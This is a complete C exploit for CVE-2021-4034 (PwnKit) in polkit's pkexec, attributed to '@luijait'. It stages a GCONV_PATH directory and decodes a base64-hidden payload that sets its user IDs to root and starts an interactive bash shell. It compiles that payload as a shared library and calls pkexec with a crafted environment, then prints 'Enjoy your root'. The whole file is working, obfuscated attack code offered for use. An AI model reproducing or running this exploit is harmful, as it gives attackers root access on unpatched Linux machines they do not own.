exploit.c

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
/**
 * @author: luijait
 * @version: 1.0
 * @CVE: CVE-2021-4034 
*/

void enviroment()
{
system("mkdir 'GCONV_PATH=.' && touch 'GCONV_PATH=./tmp' && chmod +x 'GCONV_PATH=./tmp'");
system("mkdir tmp;echo I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKdm9pZCBnY29udih2b2lkKSB7fQoKCnZvaWQgZ2NvbnZfaW5pdCh2b2lkICpzdGVwKQp7CgkvL1Blcm1zIAoJc2V0dWlkKDApOyBzZXRldWlkKDApOyBzZXRnaWQoMCk7IHNldGVnaWQoMCk7CQoJLy9JbnZvcXVlIFNoZWxsCgljaGFyICogc2hlbGxbXSA9IHsgIi9iaW4vYmFzaCIsICItaSIsIE5VTEwgfTsKCS8vRGVmaW5lIFBhdGgKCWNoYXIgKiBlbnZfdmFyc1tdID0geyAiUEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iLCBOVUxMIH07CglleGVjdmUoc2hlbGxbMF0sIHNoZWxsLCBlbnZfdmFycyk7CglleGl0KDApOyAKfQo= | base64 -d > tmp/b64load.c; gcc tmp/b64load.c -o tmp/pwnkit.so -shared -fPIC ");
system("echo bW9kdWxlIFVURi04Ly8gUFdOS0lULy8gcHdua2l0IDIK | base64 -d > tmp/gconv-modules");		
}

void banner()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Current User before execute exploit\nhacker@victim$whoami: ");
system("whoami");
sleep(1);
printf("Exploit written by @luijait (0x6c75696a616974)");
}

int main(int argc, char **argv)
{
	
banner();
	
enviroment();
	
char * const idk[] = {
	NULL
};
char * const entorno[] = {"tmp", 
			  "PATH=GCONV_PATH=.", 
			  "SHELL=/random", 
			  "CHARSET=PWNKIT",
			  "GIO_USE_VFS=",NULL
			 };
	printf("\n[+] Enjoy your root if exploit was completed succesfully\n");
	return execve("/usr/bin/pkexec", idk, entorno);
	
}